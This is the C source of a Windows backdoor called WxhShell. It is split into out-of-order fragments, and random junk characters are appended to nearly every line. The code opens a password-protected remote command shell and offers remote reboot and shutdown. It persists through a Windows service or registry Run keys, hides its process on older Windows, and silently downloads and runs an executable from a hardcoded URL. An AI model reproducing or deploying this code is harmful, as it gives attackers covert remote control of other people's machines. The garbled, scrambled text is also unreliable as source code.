    } 3/su1M[  
    break; 6k1_dRu  
    } $yFR{_]  
  // 关机 w-wJhc|  
  case 'd': { (Y?}'?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w/fiNY5FZ  
    if(Boot(SHUTDOWN)) /'>ck2drjk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U}-hV@y  
    else { DK%@ [D  
    closesocket(wsh); bde6 ;=oM  
    ExitThread(0); Y$ ZDJNz  
    } 3KKq1][  
    break; &e4EZ  
    } AeW_W0j  
  // 获取shell R"71)ob4  
  case 's': { vrsOA@ee3H  
    CmdShell(wsh); pD6a+B\;k  
    closesocket(wsh); <+`}: A  
    ExitThread(0); UzkX;UA  
    break; Hn?v  /3  
  } xl@  
  // 退出 &!8u4*K5j  
  case 'x': { ?)/H8n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4e|(= W`  
    CloseIt(wsh); }M(XHw  
    break; _^w^tfH]  
    } X5P1wxk'  
  // 离开 7(zY:9|(  
  case 'q': { SciEHI#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "3a_C,\  
    closesocket(wsh); VZU@G)rd  
    WSACleanup(); m\|ie8  
    exit(1); RLF]Wa,  
    break; be&,V_F  
        } p-%m/d?  
  } uo^tND4a;j  
  } !ma'*X  
]~m2#g%  
  // 提示信息 Ktf lbI!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'A#l$pJp7  
} |+Ub3<b[]  
  } #xxs^Kbqa#  
gG46hO-M%x  
  return; fh}j)*K8  
} |uln<nM9  
izP>w*/nO  
// shell模块句柄 qH*Fv:qnM  
int CmdShell(SOCKET sock) ^:m7Qd?Z[  
{ (wEaw|Zx  
STARTUPINFO si; G~\=:d=^,`  
ZeroMemory(&si,sizeof(si)); )}R w@70L-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q-f?7*>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gn?<~8a  
PROCESS_INFORMATION ProcessInfo; z_ia3k<  
char cmdline[]="cmd"; >z69r0)>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cpBTi  
  return 0; 5!d'RBO   
} oOy_2fwZPp  
j}@n`[V1  
// 自身启动模式 ns !Mqcm  
int StartFromService(void) JXF@b-c  
{ Q>>II|~;J  
typedef struct l=t$ XWh!  
{ q{oppali  
  DWORD ExitStatus; \MFjb IL  
  DWORD PebBaseAddress; W&0KO-}ot  
  DWORD AffinityMask; !5[5l!{x  
  DWORD BasePriority; 2z0 27P-Q  
  ULONG UniqueProcessId; x]jJ  
  ULONG InheritedFromUniqueProcessId; X/`M'8v.%  
}   PROCESS_BASIC_INFORMATION; *`wgqin  
A;C)#Q/  
PROCNTQSIP NtQueryInformationProcess; G8!* &vR/  
7 a_99? J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \TXCq@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #R3|nL  
$2gZpO|  
  HANDLE             hProcess; =LMM]'no,  
  PROCESS_BASIC_INFORMATION pbi; 97L# 3L6t  
ygfUy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R8<P}mv  
  if(NULL == hInst ) return 0; "94qBGf  
"iTi+UZxe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jr=erVHK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f 8836<c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @t?uhT*Z=  
O0 ,=@nw8.  
  if (!NtQueryInformationProcess) return 0; |4|j5<5  
`%S#XJU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %w3"B,k'9D  
  if(!hProcess) return 0; Omy<Y@$  
"AUHe6Yv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .=<<b|  
0Wc8\c  
  CloseHandle(hProcess); !qF t:{-h  
?_b zg'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lr_c  
if(hProcess==NULL) return 0; P+t`Rw  
Ov PTgiI!N  
HMODULE hMod; "s5[w+,R  
char procName[255]; ,$<="kJk  
unsigned long cbNeeded; Ub-q0[6  
'PVxc %[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rk@xv;t;  
2VyJ  
  CloseHandle(hProcess); l's*HExR  
tKKQli4Mn4  
if(strstr(procName,"services")) return 1; // 以服务启动 ,c9K]>8m`  
=S:Snk%  
  return 0; // 注册表启动 R;EdYbiF b  
} Y('?Z]  
,@4~:OY  
// 主模块 \RDS~u\d  
int StartWxhshell(LPSTR lpCmdLine) C4^o= 6{  
{ 6#DDMP8;I  
  SOCKET wsl; X{G&r$  
BOOL val=TRUE; #1oyRD-  
  int port=0; 5'z D}[2  
  struct sockaddr_in door; XdxSi"+  
>qC,IQ'  
  if(wscfg.ws_autoins) Install(); r`GA5 }M  
5isqBu  
port=atoi(lpCmdLine); ?,0 a#lG  
*$yU|,  
if(port<=0) port=wscfg.ws_port; 's_[ #a;Vp  
g,] GzHV1  
  WSADATA data; Ek%mX"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XlDN)b5v{  
`4kVe= {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GP{$w_'!J0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @m+2e C77  
  door.sin_family = AF_INET; %29lDd(<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B EB[K2[9  
  door.sin_port = htons(port); !)$e+o^W  
@\s*f7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S5>?j n1  
closesocket(wsl); ft><Ql3  
return 1; f )Ef-o  
} KO3X)D<3  
GLtd6;V  
  if(listen(wsl,2) == INVALID_SOCKET) { SA[wF c  
closesocket(wsl); LZH~VkK@m}  
return 1; I)wc&>Lc  
} BH\!yxK  
  Wxhshell(wsl); _-5|"oJ  
  WSACleanup(); ]CxD m  
zSo(+D &[  
return 0; o4F(X0  
ALXie86a8  
} 7w51UmO  
P}8cSX9  
// 以NT服务方式启动 ~ NZC0&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s_}q  
{ >7,?X_:A-1  
DWORD   status = 0; 5-?*Boi>i  
  DWORD   specificError = 0xfffffff; 0 n}2D7  
,y}@I"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ZPynduR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #bCQEhCy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1=z6m7@'-  
  serviceStatus.dwWin32ExitCode     = 0; z,xGjS P  
  serviceStatus.dwServiceSpecificExitCode = 0; :Fh#"<A&&  
  serviceStatus.dwCheckPoint       = 0; l#bE_PD;  
  serviceStatus.dwWaitHint       = 0; BHNEP |=  
+*L<"@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k$3Iv"gbx  
  if (hServiceStatusHandle==0) return; Cm%|hk>fQ  
,4--3 MU  
status = GetLastError(); GW,RE\Q:  
  if (status!=NO_ERROR) <\`qRz0/  
{ "el}9OitC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F_-}GN%  
    serviceStatus.dwCheckPoint       = 0; Xb2.t^ ]f  
    serviceStatus.dwWaitHint       = 0; 7.FD16  
    serviceStatus.dwWin32ExitCode     = status; _?v&\j  
    serviceStatus.dwServiceSpecificExitCode = specificError; !q!5D`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h,|. qfUk  
    return; 7A"v:e  
  } z9Nial`p  
<%?!3 n*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c"lblt5  
  serviceStatus.dwCheckPoint       = 0; QERj`/g  
  serviceStatus.dwWaitHint       = 0; _qa9wK/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z;~7L*|  
} S\L^ZH?[2  
H/}W_ h^^  
// 处理NT服务事件,比如:启动、停止 #5%ipWPHb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O;+ sAt  
{ L(o#)I>j  
switch(fdwControl) Ubm]V{7  
{ COA*Q  
case SERVICE_CONTROL_STOP: ^C'{# p"  
  serviceStatus.dwWin32ExitCode = 0; Qo\?(E M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "</A) y&  
  serviceStatus.dwCheckPoint   = 0; T^Ol=QCu  
  serviceStatus.dwWaitHint     = 0; # 1 1<=3Yj  
  { *I.eCMDa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [\-)c[/  
  } s"5wnp6pW  
  return; Y1G/1Z# 2  
case SERVICE_CONTROL_PAUSE: (f;.`W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p^k*[3$0  
  break; Zu /w[*;M  
case SERVICE_CONTROL_CONTINUE: L$6W,D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p|g7Z  
  break; G@P+M1c  
case SERVICE_CONTROL_INTERROGATE: 0+T:};]  
  break; mJZB@m u?  
}; ),J6:O&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Wd4d2aLG  
} wvRwb   
.iYp9?t  
// 标准应用程序主函数 6TDa#k5v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _B0C]u3D  
{ aC94g7)`  
GT,1t=|&V  
// 获取操作系统版本 Y<h6m]H  
OsIsNt=GetOsVer(); vj9'5]!~q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @,m 7%,  
B#r"|x#[  
  // 从命令行安装 $8}'h  
  if(strpbrk(lpCmdLine,"iI")) Install(); gg/2R?O]  
:.u2^*<  
  // 下载执行文件 G=er0(7<  
if(wscfg.ws_downexe) { Rj3ad3z'E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KAgxIz!^-1  
  WinExec(wscfg.ws_filenam,SW_HIDE); |$g} &P8;  
} *!pn6OJ"Q}  
OwPXQ 3S  
if(!OsIsNt) {  De2$:?  
// 如果时win9x,隐藏进程并且设置为注册表启动 w=FU:q/  
HideProc(); k}C4:?AT  
StartWxhshell(lpCmdLine); 3_8W5J3I  
} Qb|@DMq%  
else .bUj  
  if(StartFromService()) YJ|U| [  
  // 以服务方式启动 p8FXlTk  
  StartServiceCtrlDispatcher(DispatchTable); "}vxHN#  
else 4~1lP&  
  // 普通方式启动 6^lix9q7  
  StartWxhshell(lpCmdLine); 0?cJ>)N  
$,B;\PX  
return 0; q07H{{h/B  
} i*r ag0Mw  
yKy )%i  
k"|Fu   
w I;sZJc  
=========================================== 6F5g2hBz  
WIabQ_fX  
Tp|>(~;ai  
Y]7 6y>|e  
9N<=,!;5~s  
4'TssRot@h  
" Lp(i&A  
I4KE@H"%7  
#include <stdio.h> NFF!g]QN  
#include <string.h> tSe[*V4{'  
#include <windows.h> XRHngW_A  
#include <winsock2.h> uPxJwWXO  
#include <winsvc.h> `{m,&[ n  
#include <urlmon.h> %j/pln&  
eV~"T2!Sb  
#pragma comment (lib, "Ws2_32.lib") %C rTO(  
#pragma comment (lib, "urlmon.lib") Ahc9HA2  
;2$0j1>  
#define MAX_USER   100 // 最大客户端连接数 5WvsS( 9H  
#define BUF_SOCK   200 // sock buffer )7p(htCz5  
#define KEY_BUFF   255 // 输入 buffer 'j-U=2,n  
jYvl-2A'  
#define REBOOT     0   // 重启 Z1Qv>@u  
#define SHUTDOWN   1   // 关机 K>C@oE[W  
DIfQ~O+u  
#define DEF_PORT   5000 // 监听端口 GG"6O_  
`:C2Cj  
#define REG_LEN     16   // 注册表键长度 GS7'pTsYH  
#define SVC_LEN     80   // NT服务名长度 :5BCW68le  
=k>fW7e  
// 从dll定义API T$<yl#FY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3.1%L"r[)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ) 7X$um  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RB6Q>3g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _z J /z  
_90<*{bt.  
// wxhshell配置信息 `<kB/T  
struct WSCFG { O8cZl1C3  
  int ws_port;         // 监听端口 ANgt\8  
  char ws_passstr[REG_LEN]; // 口令 ioEjbqD<  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?^2nrh,n+  
  char ws_regname[REG_LEN]; // 注册表键名 q!W=U8`  
  char ws_svcname[REG_LEN]; // 服务名 hC9EL= A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?z2!?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {3.n!7+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CRD=7\0(D+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5E*Qqe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "vg.{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jgS3#  
ANJL8t-m  
}; tfu`_6  
! ,{zDMA  
// default Wxhshell configuration b^&azUkMN  
struct WSCFG wscfg={DEF_PORT, bWSc&/ 9y  
    "xuhuanlingzhe", 9 )!}  
    1, |28'<BL  
    "Wxhshell", $ 7W5smW/  
    "Wxhshell", [$pb  
            "WxhShell Service", jD%|@ux  
    "Wrsky Windows CmdShell Service", \<\H1;=.@'  
    "Please Input Your Password: ", &]GR*a  
  1, *X{7m]5  
  "http://www.wrsky.com/wxhshell.exe", IsShAi  
  "Wxhshell.exe" 8};kNW^2m  
    }; KVr9kcs  
GzBPI'C  
// 消息定义模块 l~w^I|M^C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; seRf q&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /.=aA~|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CBF<53TshR  
char *msg_ws_ext="\n\rExit."; lSlZ^.&  
char *msg_ws_end="\n\rQuit."; QnP?j&  
char *msg_ws_boot="\n\rReboot..."; G+Bk!o  
char *msg_ws_poff="\n\rShutdown..."; g{i= $xc  
char *msg_ws_down="\n\rSave to "; 5IOGH*'U8  
) <{u oH  
char *msg_ws_err="\n\rErr!"; .9WOT ti  
char *msg_ws_ok="\n\rOK!"; Bs`{qmbC  
=mF"D:s*  
char ExeFile[MAX_PATH]; >3pT).wH|M  
int nUser = 0; y:^o ._  
HANDLE handles[MAX_USER]; /]_|uN)Q  
int OsIsNt; j"hEs(t  
/!^,+  
SERVICE_STATUS       serviceStatus; *^Ges;5 $"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9bM kP2w>  
c9o]w8p/  
// 函数声明 \uZ|2WG`  
int Install(void); 8|<</v8i  
int Uninstall(void); =[&+R9s  
int DownloadFile(char *sURL, SOCKET wsh); 6)*B%$?x  
int Boot(int flag); _ E-\aS{  
void HideProc(void); _)~1'tCs}h  
int GetOsVer(void); qp/1 tC`  
int Wxhshell(SOCKET wsl); [f! { -T  
void TalkWithClient(void *cs); bJ 2>@|3*  
int CmdShell(SOCKET sock); Shn=Q  
int StartFromService(void); vz>9jw:Y  
int StartWxhshell(LPSTR lpCmdLine); a!/\:4-uc  
X 6tJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x,]x>Up  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JN4gH4ez)  
e^3D`GA  
// 数据结构和表定义 K;WQV,  
SERVICE_TABLE_ENTRY DispatchTable[] = ok0ZI>=,  
{ |m6rF7Q  
{wscfg.ws_svcname, NTServiceMain}, a/J Mg   
{NULL, NULL} 0nL #-`S  
}; Yj*T'<e  
~CbiKez  
// 自我安装 pgiZA?r*<  
int Install(void) 2O*At%CzW  
{ 6W{Nw<  
  char svExeFile[MAX_PATH]; F8dr-"G  
  HKEY key; 8>W52~^fU  
  strcpy(svExeFile,ExeFile); leb/D>y  
!=PH5jTY  
// 如果是win9x系统,修改注册表设为自启动 @TD=or .&  
if(!OsIsNt) { U#S-x5Gn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 oV6#!{Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F6111Q </  
  RegCloseKey(key); 1^*ogMe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LAo$AiTUR{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D!! B4zt  
  RegCloseKey(key); yYYP;N?g4k  
  return 0; ib#rT{e  
    } KXDnhV f  
  } 0%%U7GFB5  
} 2>o^@4PnZ  
else { VevG 64o  
K-)!d$$   
// 如果是NT以上系统,安装为系统服务 D_0sXIbg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HcJ!(  
if (schSCManager!=0) o$l8"Uv  
{ =0] K(p,  
  SC_HANDLE schService = CreateService y6tqemz  
  ( L.yM"  
  schSCManager, UPr& `kaJ  
  wscfg.ws_svcname, d~rA`!s7`  
  wscfg.ws_svcdisp, &9)/"  
  SERVICE_ALL_ACCESS, v%AepK&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5,s@K>9l;  
  SERVICE_AUTO_START, F-rhxJd  
  SERVICE_ERROR_NORMAL, ]&"ii  
  svExeFile, `h'l"3l  
  NULL, K>e-IxA);0  
  NULL, >6jal?4u-  
  NULL, V^R,j1*  
  NULL, " "m-5PGYo  
  NULL 9  @ <  
  ); d^nO&it  
  if (schService!=0) t0e5L{ QJ  
  { ui,!_O .c  
  CloseServiceHandle(schService); IqFcrU$4  
  CloseServiceHandle(schSCManager); I&#:/|{:5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A+8)VlE\  
  strcat(svExeFile,wscfg.ws_svcname); ;$zvm`|:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Z'NH wCy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3^% 2,  
  RegCloseKey(key); ,7bhUE/VB  
  return 0; M1Ff ,]w  
    } ,cS#  
  } &'&)E((  
  CloseServiceHandle(schSCManager); }xt^}:D  
} @ Do.Wgt  
} O50<h O]l  
, +J)`+pJx  
return 1; X,aRL6>r  
} {[tmz;C  
HVoP J!K3  
// 自我卸载 ZCj1Cz]"l<  
int Uninstall(void) ><D2of|  
{ 9v`sSTlSd  
  HKEY key; Q"~%T@e  
oF>`>  
if(!OsIsNt) { Z\`SDC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |yO%w#  
  RegDeleteValue(key,wscfg.ws_regname); /eH37H  
  RegCloseKey(key); B E8_.>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4]tg!ks  
  RegDeleteValue(key,wscfg.ws_regname); og35Vs0  
  RegCloseKey(key); =|aZNHqH  
  return 0; 0+op|bdj  
  } '_4apyq|  
} "*D9.LyM  
} g$#A'Du  
else { ~mt{j7  
48^C+#Jbc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qd YYWD   
if (schSCManager!=0) u28$V]  
{ \3^V-/SJf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aV|V C $  
  if (schService!=0) cL*oO@I&_  
  { R/"-r^j  
  if(DeleteService(schService)!=0) { ;f[##=tm  
  CloseServiceHandle(schService); 3Fn}nek  
  CloseServiceHandle(schSCManager); hx&fV#m  
  return 0; 9q$^x/z!  
  } I*Dj@f`  
  CloseServiceHandle(schService); As>Og  
  } 8CRbo24"s  
  CloseServiceHandle(schSCManager); h7fytO  
} |3E|VGm~  
} //|B?4kk  
ElpZzGj+  
return 1; x3FB`3y~s  
} 2IW!EUR  
WvT H+  
// 从指定url下载文件 +g7]ga  
int DownloadFile(char *sURL, SOCKET wsh) ?+7~ E8  
{ kI!@J6  
  HRESULT hr; ~!mY0odH  
char seps[]= "/"; v{|y,h&]a  
char *token; CSoVB[vS  
char *file; KzV|::S^  
char myURL[MAX_PATH]; rQ_cH  
char myFILE[MAX_PATH]; )8g& lyT  
=dHdq D  
strcpy(myURL,sURL); a@jM%VZ  
  token=strtok(myURL,seps); OET/4( C  
  while(token!=NULL) ~D}fy  
  { C}<e3BXc  
    file=token; D=z="p\  
  token=strtok(NULL,seps); ]!sCWR  
  } 6?%$e$s  
F%$q]J[  
GetCurrentDirectory(MAX_PATH,myFILE); K<::M3eQ  
strcat(myFILE, "\\"); 1 +-Go}I  
strcat(myFILE, file); Kgi`@`  
  send(wsh,myFILE,strlen(myFILE),0); t^KQv~  
send(wsh,"...",3,0); iR9duP+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xg, 9~f[  
  if(hr==S_OK) ob/<;SrU<  
return 0; @.a59kP8X  
else mD% qDKI  
return 1; C.#Ha-@uz  
3]9wfT%d  
} ,7s+-sRG  
|,`"Omb9+m  
// 系统电源模块 !9HWx_,|Z  
int Boot(int flag) oXh t$Q  
{ ~Azj Y8  
  HANDLE hToken; 9v;[T%%  
  TOKEN_PRIVILEGES tkp; cy!P!t,@  
&L?]w=*  
  if(OsIsNt) { eP:\\; ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q1L>nvE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  q9{ h@y  
    tkp.PrivilegeCount = 1; @8m%*pBg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =to.Oa RR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p|nPu*R-\  
if(flag==REBOOT) { "{E%Y*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~"\v(\Pe  
  return 0; Q'3tDc<  
} MtPdpm6\  
else { l x5.50mI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7_Te-i  
  return 0; Z?qLn6y1W  
} DAf@-~c  
  } fW=<bf  
  else { cy? #LS  
if(flag==REBOOT) { =2( 52#pT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hp ;$fQ  
  return 0; ucz~y! 4L{  
} vJi<PQ6  
else { KwaxNb5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T zS?WYF  
  return 0; ](n)bF+ym  
} !PeSnO  
} tj*0Y-F~  
T YR \K  
return 1; wBw(T1VN  
} Iy;"ht6  
tN)t`1_j  
// win9x进程隐藏模块 ^+d]'$  
void HideProc(void) tK uJ &I~  
{ ~@Bw(!  
 `5(F'o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mr4,?Z&`-d  
  if ( hKernel != NULL ) =vF!  
  { 0Ba]Zo Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f>Ua7!b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /%jX=S.5h<  
    FreeLibrary(hKernel); ;K>'Gl  
  } H{i|?a)  
=~W=}  
return; ci2Z_JA+  
} tcl9:2/^]  
SvkCx>6/G  
// 获取操作系统版本 :EYUBtTj  
int GetOsVer(void) j@+$lU*r  
{ *]R5bj.!o  
  OSVERSIONINFO winfo; `Xeiz'~f8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =E!Y f#p+q  
  GetVersionEx(&winfo); cl4 _M{~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (`#z@,1  
  return 1; r: >RH,  
  else mqsAYzG  
  return 0; ^[bFGKE  
} ='+I dn#5  
!"RRw&0M  
// 客户端句柄模块 [742s]j  
int Wxhshell(SOCKET wsl) Nr*X1lJ6  
{ 0!0o[3*  
  SOCKET wsh; 2v@B7r4}  
  struct sockaddr_in client; ] `q]n  
  DWORD myID; =w`uZ;l$Q  
w 2U302TZ  
  while(nUser<MAX_USER) n`w]?bL  
{ Pe\Obd8d  
  int nSize=sizeof(client); \k"CtzoX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~UeTV?)  
  if(wsh==INVALID_SOCKET) return 1; XHJ` C\xR  
YIgHLM(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -nHkO&&R  
if(handles[nUser]==0) gzKMGL?%?  
  closesocket(wsh); S!gzmkGcj  
else #M'V%^xP  
  nUser++; zv;xxAX  
  } [N9yW uc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0&CXR=U5  
[kxOv7a  
  return 0; [~\]<;;\  
} IqepR >5t  
PXtF#,roP  
// 关闭 socket 3X DU(#  
void CloseIt(SOCKET wsh) }hg2}g99  
{ W4k$m 2  
closesocket(wsh); s>\^dtG7  
nUser--; GB pdj}2=  
ExitThread(0); n=$ne2/  
} .<fdX()e,  
,:'JJZg@  
// 客户端请求句柄 a 8Xwz@ M  
void TalkWithClient(void *cs) o^"OKHU,S0  
{ |sFd5X  
@+p(%  
  SOCKET wsh=(SOCKET)cs; ir{ 4k  
  char pwd[SVC_LEN]; H7Z`aQC  
  char cmd[KEY_BUFF]; { 29aNm  
char chr[1]; /#@tv~Z^  
int i,j; kn$_X4^?  
HRM-r~2:-]  
  while (nUser < MAX_USER) { -gt ?5H h  
oyk&]'>  
if(wscfg.ws_passstr) { L%\Wt1\[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iOb7g@=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0#uB[N  
  //ZeroMemory(pwd,KEY_BUFF); Qhc; Zl  
      i=0; _ gYj@ %  
  while(i<SVC_LEN) { _Ds,91<muQ  
y`7<c5zD  
  // 设置超时 6dz^%Ub  
  fd_set FdRead; Ac|dmu  
  struct timeval TimeOut; %t!S 7UD  
  FD_ZERO(&FdRead); .o C! ~'  
  FD_SET(wsh,&FdRead); YtWw)IK  
  TimeOut.tv_sec=8; T KAs@X,t  
  TimeOut.tv_usec=0; ^^B_z|;Aa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y[R>?w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m]fUV8U  
`\;Z&jlpT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -+Yark  
  pwd=chr[0]; {~Jk(c~I  
  if(chr[0]==0xd || chr[0]==0xa) { 8{i}^.p  
  pwd=0; F$'u`  
  break; $Q'z9ghEg  
  } v_/<f&r  
  i++; k_1@?&3  
    } m F+8Q  
!V/\_P!I  
  // 如果是非法用户,关闭 socket Nz`v+sp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (F.w?f4B3  
} #<e D  
ceCO*m~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n@;B_Bt7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zG9D Ph  
=VZ_';b h  
while(1) { e?+-~]0  
!P^Mo> "  
  ZeroMemory(cmd,KEY_BUFF); @sg.0GR  
yOKzw~;0%  
      // 自动支持客户端 telnet标准   zP2X}VLMo  
  j=0; a L+>XN  
  while(j<KEY_BUFF) { 5*YvgB;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EleJ$ `/  
  cmd[j]=chr[0]; <Y1 Plc  
  if(chr[0]==0xa || chr[0]==0xd) { q6nRk~  
  cmd[j]=0; 1%N*GJlwJ  
  break; 'OP0#`6`  
  } a9{NAyl<oo  
  j++; V!^0E.?a  
    } ."B{U_P&  
SN L-6]j  
  // 下载文件 +YW;63"o  
  if(strstr(cmd,"http://")) { `#`jU"T|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X~"p]V_  
  if(DownloadFile(cmd,wsh)) `G`R|B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); leH 7II9  
  else VR&dy|5BO  
